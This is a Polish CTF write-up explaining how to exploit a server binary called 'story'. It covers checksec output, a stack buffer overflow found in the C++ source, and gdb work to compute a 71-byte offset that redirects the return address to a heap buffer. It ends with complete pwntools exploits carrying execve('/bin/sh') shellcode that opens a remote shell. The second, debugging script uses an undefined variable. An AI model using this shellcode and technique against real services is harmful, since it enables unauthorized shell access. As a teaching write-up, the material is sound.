- pwntools
- gdb
- pwndbg
- jakiś disasembler np. IDA Pro, objdump, radare2, Binary Ninja
W tym zadaniu dostajemy binarkę która działa po stronie serwera i źródło w C++.
Programem checksec który instaluje się razem z pwndbg można sprawdzić z jakimi zabezpieczeniami program został skompilowany.
b@x:~/Desktop/mikhail > checksec story
[*] '/home/b/Desktop/mikhail/story'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
Dla nas istotne są rubryki:
Stack- mówi nam że na stosie nie ma kanarkówNX- NX jest wyłączone, czyli program może wykonywać instrukcje leżące na stosie lub stercie.PIE- Za każdym włączeniem programu, plik binarny będzie ładowany pod losowym adresem. Między innymi sekcja kodu
W kodzie programu można zobaczyć 2 linijki:
char password[64];a później:
pass_len = read(0, password, 1000);
Co oznacza że program jest podatny na buffer overflow i możemy nadpisać adres powrotu na A powodując że program zacznie wykonywać instrukcje spod adresu A. Niestety nic nam to nie daje bo przez PIE i ASLR nie wiemy gdzie wskoczyć.
Analizując dalej widzimy taki kod:
char const *const msg = "Yay! We encrypted your story! It's secret now at ";
for(i = 0; i < 49; ++i) {
password[pass_len + i] = msg[i];
}
size_t *const ptr = reinterpret_cast<size_t *>(&password[pass_len + 49]);
*ptr = reinterpret_cast<size_t>(story);który dopisuje do bufora na stosie password wiadomość Yay! We encrypted your story! It's secret now at a poźniej jeszcze jest dodawany wskaźnik na bufor story. Jest on zapisywany w postaci little-endian.
Ale tutaj znowu nie ma sprawdzania czy do bufora nie kopiujemy zbyt dużo danych i znowu mamy tutaj podatność buffer overflow.
Oznacza to, że jeśli wybierzemy nasze hasło odpowiedniej długości to wskaźnik na bufor story zapisze się w miejscu adresu powrotu z funkcji. Wtedy po wyjściu z funkcji foo program zacznie wykonywać kod maszynowy w tablicy znaków story .
Tylko jak obliczyć długość hasła?
Po zdisasemblerowaniu binarki można odnaleźć miejsce w którym właśnie jest zapisywny wskaźnik na story:
.text:0000000000000A6C mov rax, cs:story
.text:0000000000000A73 mov rdx, rax
.text:0000000000000A76 mov rax, [rbp+var_30]
.text:0000000000000A7A mov [rax], rdx
Za samo wrzucenie wskaźnika do story odpowiada instrukcja pod adresem 0000000000000A7A.
Spróbujmy podpiąć się debuggerem w to miejsce.
Włączmy binarke w gdb. Musimy mieć na uwadze to, że jeśli uruchamiamy proces w gdb to on automatycznie wyłącza ASLRa i PIE. Wtedy adresy które są pokazywane przez disasembler w pamięci procesu załadują się pod adresem o 0x555555554000 większym. (0x555555554000 jest nazywamy adresem bazowym).
b@x:~/Desktop/mikhail > gdb ./story
Ustawiamy breakpoint na 0x555555554a7a
b *0x555555554a7a
i na instrukcji ret w funkcji foo:
b *0x555555554aab
Możemy teraz urcuhomić program w gdb i podać puste hasło (1-Bajtowe haslo - sam znak nowej lini):

Powyżej widzimy że przy wysłaniu pustego hasła program nadpisuje adres 0x7fffffffd632.
Powyżej widać że adres powrotu znajduje się pod adresem: 0x7fffffffd678
Obliczmy róźnicę pomiędzy tymi adresami:
In [1]: 0x7fffffffd678-0x7fffffffd632
Out[1]: 70Trzeba wysłać password dłuższe o 70 znaków czyli sumarycznie 71 znaków.
Możemy sprawdzić w gdb czy obliczyliśmy wszystko poprawnie (wysyłamy 70 znaków a i znak nowej lini:
Na powyższym obrazku widzimy że adres bufora story jest wpisywany tam gdzie jest adres powrotu z funkcji foo.
Po kontynuowaniu wykonywania programu w gdb widzimy że program wywalił się na próbie wykonywania instrukcji ze sterty, co oznacza że próbował wykonać instukcje z bufora story
Możemy uruchomić binarkę u siebie tak aby nasłuchiwała na porcie 1337 i przekierowywała stdin i stdout na socket:
b@x:~/Desktop/mikhail > socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./story
W ten sposób można symulować uruchomienie zadania na serwerze CTFa. Program który czyta z stdin i zapisuje do stdout teraz czyta i zapisuje do socketu na danym porcie.
Pozostało nam jeszcze tylko wstawienie shellcodu do story (musimy go jeszcze zxorować z bajtami które są w password, bo później w aplikacji jest xorowanie jeszcze raz). Poszukujemy shellcodu execve("/bin/sh",0,0) lub podobnego który podmieni nam aktywny proces na /bin/sh. Shellcody możemy znaleźć np. na exploit-db.com, wygenerować metasploitem lub użyć shellcraft z pwntools
exploit znajduje się poniżej:
from pwn import *
r = remote('localhost',1337)
def get_shellcode_execve():
return "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"
shellcode = get_shellcode_execve()
print r.recvuntil("story:")
r.send(xor(shellcode,'e'))
print r.recvuntil("password:")
payload = "e"*71
r.send(payload)
r.interactive()Po zamienieniu localhost na adres serwera i zmienieniu portu, exploit również zadziała. Możemy teraz wpisać np. ls.
A jeśli coś nam nie działa to możemy debugować exploita w taki sposób:
from pwn import *
commands = [
"bp 0x555555554aab",
"c"
]
gdb.debug('./story',gdbscript="\n".join(commands))
def get_shellcode_execve():
return "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"
shellcode = get_shellcode_execve()
print r.recvuntil("story:")
r.send(xor(shellcode,'e'))
print r.recvuntil("password:")
payload = "e"*71
r.send(payload)
r.interactive()Powinno to nam dodatkowo uruchomić dodatkowe okno z gdb.
b- ustawiamy breakpointc/continue- kontynuujemy wykonywanie programur/run- uruchamiamy program od początku


